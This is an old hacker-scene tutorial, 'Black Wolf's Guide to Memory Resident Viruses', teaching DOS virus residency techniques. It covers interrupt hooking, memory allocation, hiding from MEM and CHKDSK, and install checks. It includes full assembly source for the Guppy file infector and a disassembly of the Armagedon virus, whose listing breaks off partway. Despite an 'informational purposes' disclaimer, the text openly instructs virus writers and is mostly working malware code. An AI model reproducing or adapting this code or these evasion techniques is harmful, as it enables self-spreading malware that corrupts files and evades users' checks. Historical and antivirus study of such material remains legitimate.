Black Wolf's Guide to Memory Resident Viruses.
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    Talking Black Wolf's Guide to Memory Resident Viruses.

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    Black Wolf's Guide to Memory Resident Viruses.

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    ******************************************************************************

    Disclaimer: This file is for informational purposes only! It was written

    to provide an understanding of the methods viruses can use to

    to protect against viruses and disassemble them as well as to

    write them. It is at the possesser's discretion to decide

    which. By using this file, the user accepts all responsibilities

    for whatever he or she might do.

    ******************************************************************************



    INTRODUCTION:

    A memory resident program (or TSR for Terminate and Stay Resident)

    is a program that leaves at least a portion of itself in memory after it

    terminates and waits for a particular even to take place before it 'activates'

    again. With DOS, this generally means that it hooks interrupts (BIOS/DOS

    function calls) and waits for a specific keystroke, I/O command, time, etc.

    While this can be useful in many types of programs, it is especially important

    in viral programming. A virus that remains in memory can spread faster and

    protect itself through 'stealth' abilities that non-resident viruses cannot

    have. This text will take you through several methods of memory resident

    programming for viruses, assuming a decent level of competency in 8086/8088

    assembly language.



    BASICS:

    For starters, we need to know what a program has to do to go

    memory resident. This can be summed up in 3 basic steps:



    1.) Allocate some memory that will NOT be deallocated after the

    virus terminates. This is necessary so that the virus will not

    be overwritten.



    2.) Copy the virus to the allocated memory.



    3.) Set up a method in which the virus will eventually be activated,

    generally by hooking BIOS or DOS interrupts.



    OVERVIEW OF INTERRUPTS:

    The first thing that we need to know is how interrupts work.

    Interrupts are mainly BIOS and DOS subroutines (functions) that can be

    called by a program (example: Int 21h is the main file I/O interrupt).

    To use them, all one has to do is set up the registers for the desired purpose

    and execute an INT XX, where XX is the interrupt number between 1 and 255.

    What the computer does first when it hits this instruction is push all of the

    flags (PUSHF), then it consults a table at the bottom of memory and executes

    a far call to the address of the appropriate interrupt. When the interrupt

    is done, it returns to the program by executing an IRET (interrupt return),

    which is a combination of a RETF and a POPF. To set the interrupt, then,

    merely takes changing that table. If you want to return to the original

    handler after your code runs, however, you must also save the old values

    and jump there when your code is done. This is absolutely neccessary with

    handlers like INT 21h, for otherwise nothing that DOS does through this will

    get done, and the computer will crash.



    THE INTERRUPT TABLE:

    The Interrupt Table is a table of addresses for the interrupt handler

    code of each interrupt. It is located at 0000:0000 and ends at 0000:0400.

    Each entry is 4 bytes long, consisting of a word long pointer to the offset

    of the handler followed by a word pointer to the segment of the handler. This

    setup allows you to calculate the address of an interrupt address by taking the

    entry number and multiplying it by 4. For example, the Int 21h address

    (the major DOS Interrupt) is located at 0000:0084 (21h*4). There is a space

    at the end of the interrupt table allocated for user programs to set up their

    own interrupts and for later expansion. This is basically the upper half,

    starting at 0000:0200. On my system at least, this is generally free up until

    about 0000:03A0 or so, leaving 1A0h bytes for you to use if you want for

    whatever. This will be look into in more depth later on.....



    HOOKING INTERRUPTS:

    There are two basic ways to hook interrupts. The first, using DOS,

    is done with Int 21h, functions 35h (Get Interrupt Address) and 25h (Set Int).

    First what you want to do is call Int 21h with the following setup:



    AH = 35h (Get Interrupt Vector)

    AL = Interrupt Number



    It returns the following:



    AX = Unchanged

    ES = Interrupt Handler Segment

    BX = Interrupt Handler Offset



    What you want to do then is store the ES:BX address so that it can

    be used later, and then set the interrupt to point to your handler. To do

    this call Int 21h again as follows:



    AH = 25h (Set Interrupt Vector)

    AL = Interrupt Number

    DS = New Handler Segment

    DX = New Handler Offset



    Now that your interrupt is set, you have to do something with it. Here

    is a basic model for an interrupt hooker with a handler that returns control

    to the original handler after it is done:



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    ;Assume that DS = CS as in a .COM file.



    Get_Interrupt_Address:

    mov ax,3521h ;Get Old Int 21h Address

    int 21h



    mov word ptr [Int_21_Segment],es ;Save old address

    mov word ptr [Int_21_Offset],bx



    Set_Interrupt_Address:

    mov ax,2521h

    mov dx,offset Int_21_Handler ;DSX = Int_21_Handler

    int 21h ;Set the new handler



    ;*********** Continue on with program, exit, whatever



    Int_21_Handler:

    cmp ah,4bh ;Check for activation

    je execute_a_program ;conditions by looking

    cmp ah,3dh ;at the function numbers

    je open_a_file ;of Int 21 that you wish

    ;to intercept. Make sure

    ;to save any registers that

    ;you change inside the

    ;various handlers!!!!!!

    Go_Int_21:

    db 0eah ;This simulates a far jump

    Int_21_Offset dw 0 ;to the old interrupt handler.

    Int_21_Segment dw 0 ;(0EAh is code for a far jmp.)

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    Notice the trick in Go_Int_21 with the 0EAh. What that does is

    simulate a far jump to the old handler once your handler is done. A couple of

    other things that one must do when an interrupt is hooked are as follows:



    1.) Make sure to push/pop any registers that get changed!!!!!

    Otherwise the results are unpredictable.



    2.) Make sure that your interrupt handler does not call the function

    that is has hooked directly. I.E. if you hook Int 21h, function

    3dh to open files, do not put an Int 21h, function 3dh inside

    the handler for it, as it will call the handler again, and again,

    and again...... Instead, call the interrupt indirectly by

    calling the ORIGINAL address with code like the following:



    Call_Int_21h:

    pushf ;push the flags and perform

    call dword ptr [Int_21_Offset] ;a far call to simulate an

    ;INT call.



    ALTERNATIVE METHOD:

    The other way to hook interrupts is by directly changing the table.

    This can be done very easily, but you MUST remember to disable the interrupts

    before doing so, then enable them afterwords. Otherwise, the interrupt could

    possibly be called when only half of the address was set, creating unpredictable

    results. See the following example:



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    Set_DS_to_Table: ;DS = 0

    xor ax,ax

    mov ds,ax



    Hook_Int_21:

    mov ax,offset Int_21_Handler ;ax = Handler Offset

    mov bx,cs ;bx = Handler Segment



    cli ;clear interrupts

    xchg ax,word ptr ds:[84h] ;Set AX = Old handler offset

    ;and set new offset.

    xchg bx,word ptr ds:[86h] ;Set BX = Old handler segment

    ;and set new segment.

    mov word ptr cs:[Int_21_Offset],ax

    mov word ptr cs:[Int_21_Segment],bx

    sti ;restore interrupts



    push cs

    pop ds ;restore DS = CS

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    ALLOCATING MEMORY:

    Okay, now that we know exactly how interrupts work, let's take a look

    at some ways to allocate memory for the virus. What we need is a space large

    enough for our virus to fit in and work that will not be deallocated after

    an infected program is terminated. There are several ways in which to do this.

    One can use Int 27h as a regular program would, but this would cause the

    entire program to halt, alerting any user with a brain that something is wrong.

    One can, however, make a virus that either re-executes the host so that the

    termination is not seen (as Armageddon the Greek does) or one can make it

    only go TSR the first time (duh) and allow the program to execute fine

    afterwards (like Guppy and Little Brother do). The methods for these are

    pretty simple and can be gained by examining the disassemblies of Guppy and

    Armageddon included with this file.



    BLANK SPACES:

    The next simple method to go memory resident is to find a blank area

    in memory that will NOT be used and use it. For really small virii, one

    can use the top half of the interrupt table (mentioned earlier) in the

    manner that the Micro-128 virus does (see disassembly). Other locations,

    such as video memory (0b000/0b800) can be used as well if one keeps it on an

    unused page (risky, but 0b900 will work for a while....). Leapfrog, for

    instance, stores itself in one of DOS's disk buffers. The only code for

    this is to copy the virus to the unused memory and make sure to point

    the handler to the NEW copy.



    BOOT SECTORS:

    One slight variation on this is the code that boot sector viruses

    such as Stoned and Michelangelo use to allocate memory. Before DOS has

    booted (and even later, as we will talk about later) BIOS stores the

    amount of usable lower memory in a word located at 0:413h in memory. This

    word contains the number of usable K, starting at 0000:0000 and ending (at

    the highest) at A000:0000. One 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳

    Get_Current_Amount:

    xor ax,ax

    mov ds,ax

    mov ax,word ptr ds:[413h] ;ax = memory in K



    Reserve_Memory:

    dec ax

    mov word ptr ds:[413h],ax ;lower memory by 1K



    Calculate_Free_Segment:

    mov cl,06

    shl ax,cl ;AX = AX * 64

    mov es,ax ;ES:0 is now the beginning

    ;of free memory.

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    DOS MEMORY STRUCTURES:

    Unfortunately, the last method only works before DOS is loaded. While

    this is great for bootsector and multi-partite viruses, it doesn't work very

    well for file-oriented viruses that load under DOS. For these, we need to

    know more about the memory structures that DOS uses, namely the Memory

    Control Blocks (MCB's) and the Program Segment Prefix (PSP).



    PSP AND MCB's:

    When a file is loaded to be executed under DOS, DOS first takes

    the memory it will allocate to the file and starts it with a 16 byte header

    called a Memory Control Block. This header tells DOS the owner of the

    block of memory, the size of the block, and whether it is the last in a chain

    of MCB's or not. DOS the loads a 256 byte table called the Program Segment

    Prefix directly after the MCB. The PSP is basically a table of information

    for DOS book-keeping, including the location of the top of usable memory

    by DOS. This also holds the default DTA, FCB's, and command lines for programs

    Directly after the PSP, DOS loads the program to be run. If it is a .COM file,

    it will be loaded and run where CS:0 = the beginning of the PSP, making the

    beginning of the file start at an offset of 100h. If it is an .EXE file, the

    beginning of the file will be loaded at CS:0, where CS is 10h higher than the

    PSP's segment. This is important to remember when trying to modify the PSP

    from a program. The MCB, as said above, is 10h lower in memory than the

    PSP, or one segment lower. Full tables of each structure are shown below.



    The format of a Memory Control Block is as follows:

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    Memory Control Blocks

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    Offset Name Length (Bytes) Description



    0 Location 1 M=Last Block, Z=Not Last

    1 Owner 2 Segment of start of Memory

    3 Size 2 Length in Paragraphs

    5 Unknown 3 Supposedly Reserved

    8 Owner's Name 8 Name. Appears in mem maps

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    The format of DOS's Program Segment Prefix is as follows:

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    Program Segment Prefix

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    Offset Name Length (Hex Bytes) Description



    00 Terminate 2 CD20 (Int 20)

    02 Top of Memory 2 Usually set at A000.

    -- Sometimes needed to

    -- lower DOS's memory for

    -- a virus.

    04 Unknown 1 Supposedly Reserved.

    05 CPM stuff 5 Obsolete

    0A Exit to DOS 4 Int 22h handler (IP:CS)

    0E Control C Handler 4 Int 23h handler (IP:CS)

    12 Critical Error 4 Int 24h handler (IP:CS)

    16 Parent ID 2 Segment of Parent Prog.

    18 Handle Table 14 One byte/handle

    2C Environment Segment 2 Segment of Envir. Vars.

    2E User Stack 4 Stack address

    32 File Handle Count 2 Size of Handle Table

    34 Handle Table Address 4 If not at 12h

    38 Unknown 1c Supposedly Reserved

    50 Dos Call and RET 3 INT 21, RET

    53 Unknown 9 Supposedly Reserved

    5C FCB 1 10 File Control Block

    6C FCB 2 10 ""

    7C Unknown 4 Reserved

    80 Command Line Length 1 Also used as the

    81 Command Line 7f default DTA.

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    Using this information, there are two basic ways to go memory resident.

    The first is to tell DOS that its top of memory is one or two K less, lowering

    the MCB memory to correspond, then lowering the BIOS memory as shown before.

    This method allows the virus to go memory resident using a small amount

    of code, and it prevents it from showing up on MEM's list of memory holders.

    Unfortunately, a decrease in lower memory is quite obvious using programs

    like CHKDSK and MEM. The other method is to create another memory block than

    the host's, setting the owner to either itself or, most commonly, COMMAND.COM.

    This can be done either using DOS memory functions, as most viruses do, or

    it can be done directly by manipulating the MCB's themselves.



    BIOS/PSP METHOD:

    The first and simplest method is to lower DOS's top of memory field

    in the PSP, shrink the file's MCB, and lower the memory allocated to DOS by

    BIOS. The end result of this is an area at the top of low memory that is

    unallocated and can be used. One of the disadvantages of this is that the

    size of the block MUST be allocated in chunks of 1K because the BIOS memory

    field stores size in 1K blocks. This method is quite similair to that used

    in the bootsector example above. See the example below:



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    ;This example assumes .COM file structure where DS = CS = PSP.



    Get_And_Lower_Top_Of_Memory:

    mov ax,word ptr ds:[02] ;Get Top of Memory (PSP)

    sub ax,40h ;Lower it by 1K (40h paragraphs)

    mov word ptr ds:[02],ax ;And Replace Value.



    Get_MCB_Segment:

    mov ax,ds ;AX = CS = DS

    dec ax ;Get Segment of MCB

    mov ds,ax ;And put into DS



    Shrink_Block:

    sub word ptr ds:[03],40h ;Subtract 1K from host's MCB

    ;allocation (paragraphs)

    Allocate_From_Bios:

    xor ax,ax

    mov ds,ax ;DS = 0

    dec word ptr ds:[413h] ;Allocate 1K from Bios



    Find_Free_Segment:

    mov ax,word ptr ds:[413h] ;Get memory in 1K

    mov cl,6

    shl ax,cl ;change to segment (multiply

    ;by 64 or 40h)



    ;AX now equals free segment

    ;of memory



    mov es,ax ;Set ES = Free Segment

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    ALLOCATING WITH DOS:

    Using DOS to allocate memory for you is often the method of choice

    for virus writers. To do this, first find the maximum block size avaliable

    by calling INT 21h, function 4Ah (Modify Memory Allocation) with the requested

    memory (In paragraphs) set to 0ffffh. Since this is impossible, it will

    return a carry flag and put the maximum size in BX. Subtract this amount

    by the number of paragraphs that you want (+1 for safety) and then execute

    another function 4Ah with the new value for BX. This will shrink the block

    and give you enough space for the virus at the top of memory. Allocate memory

    for the virus using Int 21h, function 48h (Allocate Memory) with BX set

    to the number of paragraphs you want (no +1 this time). This will return

    the segment of free memory in AX. All that is left now is to mark the new

    block as the last in the chain by setting the first byte in its MCB to 'Z',

    and change its owner. The owner is usually a word value corresponding to the

    program's PSP (MCB Seg+1). This will work, or you can set it to a reserved

    value like 08 (I/O). After this is done, if you want, you can set the

    owner's name field starting at MCB_SEG:0008 to any eight byte or smaller name.

    This name will appear in memory mapping programs such as MEM and SI.

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    Get_Maximum_Memory:

    mov ah,4ah

    mov bx,0ffffh ;Request too much

    int 21h ;memory - maximum size

    ;returned in BX.

    Subtract_Needed_Memory:

    sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by

    ;(virsize*2)+1



    Shrink_Block: ;BX = Paragraphs

    mov ah,4ah ; Requested

    int 21h ;ES = Segment of Block



    Allocate_Memory:

    mov ah,48h

    mov bx,((end_vir-start_vir+0fh)/10h)*2 ;Allocate (virsize*2)

    int 21h ;Returns AX = Free Seg



    Point_ES_to_New_MCB:

    dec ax

    mov es,ax

    inc ax



    Set_As_Last_Block:

    mov byte ptr es:[0],'Z' ;Mark as last

    ;in chain

    Set_Owner:

    ;Note: The number in the Owner field is usually the segment of the program's

    ; PSP. Certain values, however, have special meanings. 08, for example,

    ; indicates I/O or Command.COM as the owner. This can be useful for

    ; deceptions. The only requirement of this is that the owner will NOT

    ; be deallocated.



    mov word ptr es:[1],ax ;Set owner as itself.



    Set_Name:

    ;Note: This is not necessary, but it can be used for many purposes.



    mov di,08 ;ESI = owner name

    ;DOS 4+

    mov si,offset virname

    push cs

    pop ds

    mov cx,4

    repnz movsw ;Copy name into field.

    ;This will show up in programs like MEM and

    ;System Information.





    ............. ;Continue program, hook interrupts, etc.



    virname db 'reMEMber'

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    DIRECT MANIPULATION:

    Direct Manipulation is basically the same in the end result as

    DOS manipulation, but the steps are executed (obviously) completely

    differently. One advantage of this method is that one can determine whether

    or not to allow DOS to display the block the virus is in (see notes in code).

    Since the steps are basically the same, see the code for how each is done.

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    Get_Maximum_Memory:

    mov ax,ds

    dec ax

    mov ds,ax ;DS = MCB

    mov bx,word ptr ds:[03] ;Get Block Size



    Subtract_Needed_Memory:

    sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by

    ;(virsize*2)+1

    Shrink_Block:

    mov word ptr ds:[03h],bx ;Lower Block Size



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    ;Note: If you want your program to show up in a memory map, set this byte

    ; to 'M', meaning that it is NOT the last block. Otherwise, set it

    ; to 'Z' so that MEM and like programs will not trace past it.

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    mov byte ptr ds:[0],'M' ;Mark host block's

    ;location in chain.



    Lower_Top_Of_Memory: ;Lower field in PSP

    sub word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1



    Point_ES_to_New_MCB: ;Get New top of mem

    mov ax,word ptr ds:[12] ;from PSP.

    mov es,ax ;ES = new segment.



    Set_As_Last_Block:

    mov byte ptr es:[0],'Z' ;Mark as last

    ;in chain

    Set_Owner:

    mov word ptr es:[1],ax ;Set owner as itself.

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    SELF RECOGNITION:

    One thing that a virus must do to remain unnoticed to any degree is

    to recognize if it has already been installed so that it does not continue

    to re-install itself, taking up more and more memory. The simplest way to

    do this is to hook an interrupt and check for a certain unique value, or

    an installation check, and return another unique value if one is received to

    tell the executing virus that it is already in memory. For example, one

    can hook INT 21h and wait for AX to be equalled to DEADh on entry. In such a

    case, one could save the value and IRET. If the virus is not installed, the

    result will be AX = DE00. The executing virus would then check to see if the

    value was correct and, if so, return control to the host without re-installing

    itself.



    See the code below:



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    Install_Check:

    mov ax,0deadh

    int 21h ;Is it installed?

    cmp ax,0deadh

    je Already_Installed ;Yes? jump to Already_Installed

    Install: ;otherwise install it.

    ..........



    Int_21_Handler:

    cmp ah,4bh

    je execute

    cmp ah,3dh

    je open

    cmp ax,0deadh ;Is it an install check?

    je Install_Check ;Yes, jump to Install_Check.

    Go_Int_21:

    db 0ea

    Int_21_IP dw 0

    Int_21_CS dw 0



    Install_Check: ;Save value in AX

    iret

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    COPYING THE VIRUS:

    One point that has been more or left out up until now is how to copy

    the virus. The simplest (and the only REAL way) is to set ESI to the newly

    allocated space, DS:SI to the start of the virus, and CX to the length of the

    virus in words (or bytes if you wish to use movsb). Then execute a REPNZ

    MOVSW and you've got it. Note: When using Int 27, this is uneccessary because

    it puts the program into memory at it's original location.





    ;***************************************************************************

    ;* The Guppy Virus *

    ;***************************************************************************

    ;* The Guppy virus is a relatively simple, very small, resident .COM *

    ;*infector. It uses the standard way for a regular program to go resident *

    ;*(i.e. Int 27) which makes the infected program terminate the first time *

    ;*run. After that, however, infected files will run perfectly. This virus*

    ;*uses interesting methods to restore the storage bytes, as well as a *

    ;*strange technique to restore control to an infected file after it has *

    ;*already gone memory resident. *

    ;* *

    ;*Note: The Guppy virus was originally assembled with an assembler other *

    ;* than Tasm, so to keep it exactly the same some commands must be *

    ;* entered directly as individual bytes. In these cases, the command *

    ;* is commented out and the bytes are found below it. *

    ;* *

    ;***************************************************************************



    .model tiny

    .radix 16

    .code



    org 100h

    start:

    call Get_Offset



    Get_Offset:

    pop si ;SI = offset of vir +

    ;(Get_Offset-Start)

    mov ax,3521h

    mov bx,ax

    int 21h ;Get Int 21 Address



    mov ds:[si+Int_21_Offset-103],bx ;Save old Int 21

    mov ds:[si+Int_21_Segment-103],es



    ;mov dx,si ;Bytes vary between assemblers

    db 89,0f2



    ;add dx,offset Int_21_Handler-104

    db 83,0c2,1f



    mov ah,25h

    int 21h ;Set Int 21



    inc dh ;Add 100h bytes to go resident

    ;from handler

    push cs

    pop es

    int 27h ;Terminate & stay resident

    ;DX+1 = end of area to go res.





    Int_21_Handler:

    cmp ax,4B00h ;Is call a Load & Execute?

    je Infect ;Yes? Jump Infect



    cmp al,21h ;Might it be a residency check?

    jne Go_Int_21 ;No? Restore control to Int 21



    ;cmp ax,bx ;Are AX and BX the same?

    db 39,0d8



    jne Go_Int_21 ;No, Restore control to Int 21



    push word ptr [si+3dh] ;3dh = offset of Storage_Bytes -

    ;Get_Offset



    ;This gets the first word of

    ;storage bytes, which is then

    ;popped to CS:100 to restore it.



    mov bx,offset ds:[100] ;100 = Beginning of COM

    pop word ptr [bx]



    mov cl,[si+3Fh] ;Restore third storage byte.

    mov [bx+2],cl



    Restore_Control:

    pop cx

    push bx

    iret ;Jump back to Host program.



    Storage_Bytes db 0, 0, 0



    Infect:

    push ax

    push bx

    push dx

    push ds

    mov ax,3D02h

    int 21h ;Open File for Read/Write Access



    xchg ax,bx

    call Get_Offset_Two



    Get_Offset_Two:

    pop si

    push cs

    pop ds

    mov ah,3F

    mov cx,3

    sub si,10 ;Set SI=Storage_Bytes



    ;mov dx,si

    db 89,0f2



    int 21h ;Read first 3 bytes of file



    cmp byte ptr [si],0E9h ;Is the first command a jump?

    jne Close_File ;No? Jump to Close_File

    mov ax,4202h

    xor dx,dx

    xor cx,cx

    int 21h ;Go to end of file



    xchg ax,di

    mov ah,40h

    mov cl,98h ;Virus Size



    ;mov dx,si

    db 89,0f2



    sub dx,40h ;Beginning of virus

    int 21h ;Append virus to new host



    mov ax,4200h

    xor cx,cx

    xor dx,dx

    int 21h ;Go back to beginning of file



    mov cl,3



    ;sub di,cx

    db 29,0cf



    mov [si+1],di

    mov ah,40h



    ;mov dx,si

    db 89,0f2



    int 21h ;Write 3 byte jump to file



    Close_File:

    mov ah,3Eh

    int 21h



    pop ds

    pop dx

    pop bx

    pop ax

    Go_Int_21:

    db 0EAh ;Go On With Int 21

    Int_21_Offset dw ?

    Int_21_Segment dw ?



    end start

    ;**************************************************************************







    ;***************************************************************************

    ;* The Armagedon Virus *

    ;* *

    ;*Dial is controlled off of the new INT 08 handler when virus goes TSR. *

    ;*Examine the way the virus goes memory resident using INT 27, this is an *

    ;*interesting method that I had not seen before in a virus. Also, look *

    ;*at its rather strange procedure for infecting files. *

    ;* *

    ;* Disassembly by Black Wolf *

    ;* *

    ;* (The 911 virus is directly related to this one, as the only differences *

    ;* are in the numbers dialed and the text messages) *

    ;***************************************************************************

    .model tiny ;Sets assembler into Tiny mode

    .radix 16 ;Sets numbers to hexidecimal

    .code

    org 100



    ;**************************************************************************

    ;* Loading Jump *

    ;**************************************************************************

    start:

    jmp Virus_Entry



    ;**************************************************************************





    ;**************************************************************************

    ;* This is where the infected file would usually be. *

    ;**************************************************************************

    ;**************************************************************************





    ;**************************************************************************

    ;* Int 21 Handler *

    ;**************************************************************************

    Int_21:

    pushf

    cmp ah,0E0 ;Is this an installation check?

    jne not_check ;If not, go to not_check

    mov ax,0DADA ;If so, return 0DADA

    popf ;and exit interrupt.

    iret



    not_check:

    cmp ah,0E1 ;0E1=request for virus' seg. address

    jne not_seg_req ;Not E1? then go to not_seg_req

    mov ax,cs ;Move virus' address into AX

    popf ;and exit interrupt.

    iret

    not_seg_req:

    cmp ax,4B00 ;Load and Execute?

    je Infect ;Go Infect

    Go_Int_21:

    popf



    ; jmp dword ptr cs:[Int_21_Off]

    db 2e,0ff,2e,22,01 ;Jump to Int 21 (done)

    ;**************************************************************************





    ;****************************************************************************

    ;* Main Data Section *

    ;****************************************************************************

    Int_21_Off dw 138dh

    Int_21_Seg dw 029a



    Int_08_Off dw 022Bh

    Int_08_Seg dw 70



    Ready_Byte db 0

    Timing_Counter db 8

    save_time_a db 10

    save_time_b db 9

    save_date db 34

    Bytes_Written dw 0

    waste_byte db 0

    Character_Count db 0

    Data_Ready db 0

    Ports_Initialized db 0



    com db 'COM'

    handle dw 5

    file_size dw 2

    db 0, 0

    mem_allocated dw 1301

    save_ss dw 12AC

    save_sp dw 0FFFE

    filename_seg dw 9B70

    filename_off dw 3D5Bh

    attribs dw 20

    file_date dw 0EC2

    file_time dw 6E68

    db 0,0,81,0

    cs_save_3 dw 12AC

    db 5C,0

    cs_save_1 dw 12AC

    db 6C,0

    cs_save_2 dw 12AC

    ;****************************************************************************



    Infect:

    push ds bx si cx ax dx bp es di ;Save Registers



    cld ;Clear direction

    push dx ds ;Save Filename Address

    xor cx,cx ;Zero CX for use as counter

    mov si,dx ;Move Filename Offset to SI



    Find_End_Of_Filename:

    mov al,[si] ;Get letter from Filename

    cmp al,0 ;Are we at the end of the

    je Check_Filename ;Filename? Yes? Go to loc_7

    inc cx ;inc Count

    inc si ;inc pointer to next char

    jmp short Find_End_Of_Filename



    Check_Filename:

    add dx,cx ;add filename length to

    ;start of filename address

    sub dx,3 ;Subtract 3 for extension

    mov si,offset com ;com='COM'

    mov di,dx ;set di=dx to Check



    ;Next few lines Check for

    ;Command.Com



    cmp byte ptr [di-3],4E ;Is the second to last letter

    ;an 'N'?

    jne setup_check ;If not, it's not COMMAND,

    ;Go to loc_8

    cmp byte ptr [di-2],44 ;Is the last letter a 'D'?

    je Infect_Error ;If so, it is COMMAND,

    ;Go to Infect_Error.

    setup_check:

    mov cx,3 ;Setup loop



    check_if_com:

    mov al,cs:[si]

    cmp al,[di]

    jne Infect_Error

    inc si ;Check for 'COM' Extension

    inc di ;If so, infect, otherwise

    loop check_if_com ;Go to Infect_Error



    pop ds

    pop dx ;Restore original filename

    push dx ;address to DSX, then

    push ds ;push them back onto stack



    mov si,dx

    mov dl,0



    cmp byte ptr [si+1],3A ;Is the second letter a

    ; ':'? I.E. is the file on

    ;another drive?



    jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space



    mov dl,[si] ;Get drive number if the file

    and dl,0F ;is on another drive.



    Get_Free_Disk_Space:

    mov ah,36

    int 21h ;Get free drive space.

    ;DL=drive

    cmp ax,0FFFF

    je Infect_Error

    jmp short Continue_Infect

    nop

    Infect_Error:

    jmp Pop_And_Quit_Infect

    jmp End_Infect

    Error_After_Open:

    jmp Close_File

    jmp Reset_DTA

    Continue_Infect:

    cmp bx,3 ;If there are less than 3

    jb Infect_Error ;clusters free, quit.



    pop ds ;DSX is filename address

    pop dx ;again.

    push ds

    push dx



    mov word ptr cs:[filename_seg],ds ;Save DSX again

    mov word ptr cs:[filename_off],dx



    mov ax,4300

    int 21 ;Get the file attributes



    mov word ptr cs:[attribs],cx ;Store attributes

    mov ax,4301

    xor cx,cx ;Set attributes to zero

    int 21 ;to insure write access.



    mov bx,0FFFF

    mov ah,48 ;Allocate all free memory

    int 21 ;by trying to allocate more

    ;than the computer possibly can,

    mov ah,48 ;then using the returned number

    int 21 ;(free mem) as the amount to

    ;request.



    mov word ptr cs:[mem_allocated],ax ;save the segment of

    ;allocated memory



    mov ax,cs ;point ds to cs

    mov ds,ax

    mov dx,offset new_DTA

    mov ah,1A

    int 21 ;Set DTA to memory after virus



    pop dx

    pop ds

    mov ax,3D02

    clc ;clear carry (unneccessary)

    int 21 ;Open file for read/write access



    jc Error_After_Open ;on error go to

    ;Error_After_Open

    mov bx,ax ;move handle to bx

    mov word ptr cs:[handle],ax ;save file handle

    mov cx,0FFFF

    mov ax,word ptr cs:[mem_allocated] ;Get segment of

    ;memory to use

    mov ds,ax ;point ds to it

    mov dx,end_main_virus-start

    mov ah,3F

    clc ;clear carry

    int 21 ;Read 0ffff byte from file



    jc Error_After_Open ;If error go to

    ;Error_After_Open

    mov word ptr cs:[file_size],ax ;save file size

    ;(number of bytes read)

    cmp ax,0E000

    ja Error_After_Open ;File is too large, go to

    ;Error_After_Open

    cmp ax,end_main_virus-start ;Is file smaller than virus?

    jb Not_Infected ;Yes, therefore it isn't

    ;infected, goto Not_Infected

    mov si,offset (end_main_virus+1-100)

    add si,si ;Set SI to point to area where

    sub si,15 ;the text message would be if

    ;file is already infected.

    mov cx,13 ;Length of Text_Message

    mov di,offset Text_Message ;("Armagedon the GREEK")



    Check_For_Infection:

    mov al,byte ptr [si] ;This loop checks for the text

    mov ah,cs:byte ptr [di] ;message in the file being

    cmp ah,al ;examined. If it's there, it

    jne Not_Infected ;jumps to Close_File,

    inc si ;otherwise it jumps to Not_Infected

    inc di

    loop Check_For_Infection



    jmp short Close_File

    nop

    Not_Infected:

    mov ax,4200

    mov bx,word ptr cs:[handle]

    xor cx,cx

    mov dx,cx

    int 21 ;Move to beginning of file



    jc Close_File

    mov si,100

    mov cx,offset (end_main_virus-100)

    xor di,di

    mov ax,word ptr cs:[mem_allocated]

    mov ds,ax



    Copy_Virus:

    mov al,cs:[si] ;Copy virus onto file in

    mov [di],al ;memory. "repnz movsw"

    inc si ;would've worked a lot

    inc di ;better.

    loop Copy_Virus



    mov ax,5700

    mov bx,word ptr cs:[handle]

    int 21 ;Get File Date/Time



    mov word ptr cs:[file_time],cx ;Save File Time

    mov word ptr cs:[file_date],dx ;Save File Date

    mov ax,word ptr cs:[mem_allocated]

    mov ds,ax

    mov si,offset (end_main_virus-100)

    mov al,[si] ;encrypt first storage

    add al,0Bh ;byte.

    mov [si],al

    xor dx,dx

    mov cx,word ptr cs:[file_size] ;Calculate new file size

    add cx,offset end_main_virus-100 ;(add virus size)

    mov bx,word ptr cs:[handle]

    mov ah,40

    int 21 ;Rewrite file



    mov word ptr cx,cs:[file_time]

    mov word ptr dx,cs:[file_date]

    mov bx,word ptr cs:[handle]

    mov ax,5701

    int 21 ;Restore File Time



    Close_File:

    mov bx,word ptr cs:[handle]

    mov ah,3E

    int 21 ;Close File



    push cs

    pop ds

    Reset_DTA:

    mov dx,80

    mov ah,1A

    int 21 ;Reset DTA to default



    mov ax,word ptr cs:[mem_allocated]

    mov es,ax

    mov ah,49

    int 21 ;Release Allocated Memory



    mov ax,word ptr cs:[filename_seg]

    mov ds,ax

    mov dx,word ptr cs:[filename_off]

    mov ax,4301

    mov cx,word ptr cs:[attribs]

    int 21 ;Restore File Date/Time



    jmp short End_Infect

    nop



    Pop_And_Quit_Infect:

    pop ds

    pop dx

    jmp short End_Infect

    nop

    End_Infect:

    pop di es bp dx ax cx si bx ds

    jmp Go_Int_21



    ;************************************************************************

    ;* Timer Click (INT 8) Handler *

    ;* This is Used to Dial Numbers *

    ;************************************************************************

    Int_08:

    push bp ds es ax bx cx dx si di



    pushf ;Push flags

    ;call word ptr cs:[Int_08_Off] ;Run old timer click

    db 2e,0ff,1e,26,01



    call Timing_Routine



    push cs

    pop ds

    mov ah,5

    mov ch,byte ptr [save_time_a]

    cmp ah,ch

    ja Quit_Int_08

    ;if [save_time_a] !=6, quit.

    mov ah,6

    cmp ah,ch

    jb Quit_Int_08



    mov ah,byte ptr [Ready_Byte]

    cmp ah,1

    je Go_Dial



    mov ah,1

    mov byte ptr [Ready_Byte],ah

    jmp short Quit_Int_08

    nop



    Go_Dial:

    call Write_Ports



    inc word ptr [Bytes_Written]

    mov ax,word ptr [Bytes_Written]

    cmp ax,21C

    jne Quit_Int_08

    xor ax,ax ;Reset Counters

    mov byte ptr [Ready_Byte],ah

    mov word ptr [Bytes_Written],ax

    mov byte ptr [Data_Ready],ah

    Quit_Int_08:

    pop di si dx cx bx ax es ds bp

    iret



    ;****************************************************************************

    ;* Timing Routine For Dialing *

    ;****************************************************************************





    Timing_Routine:

    push cs

    pop ds



    xor al,al

    mov ah,byte ptr [Timing_Counter]

    cmp ah,11

    jne Inc_Time_Count

    mov ah,byte ptr [save_date]

    cmp ah,3bh

    jne Inc_Saved_Date

    mov ah,byte ptr [save_time_b]

    cmp ah,3bh

    jne Inc_S_T_B

    mov ah,byte ptr [save_time_a]

    cmp ah,17

    jne Inc_S_T_A



    mov byte ptr [save_time_a],al

    Save_T_B:

    mov byte ptr [save_time_b],al

    Store_Save_Date:

    mov byte ptr [save_date],al

    Time_Count:

    mov byte ptr [Timing_Counter],al

    ret

    Inc_Time_Count:

    inc byte ptr [Timing_Counter]

    ret

    Inc_Saved_Date:

    inc byte ptr [save_date]

    jmp short Time_Count

    Inc_S_T_B:

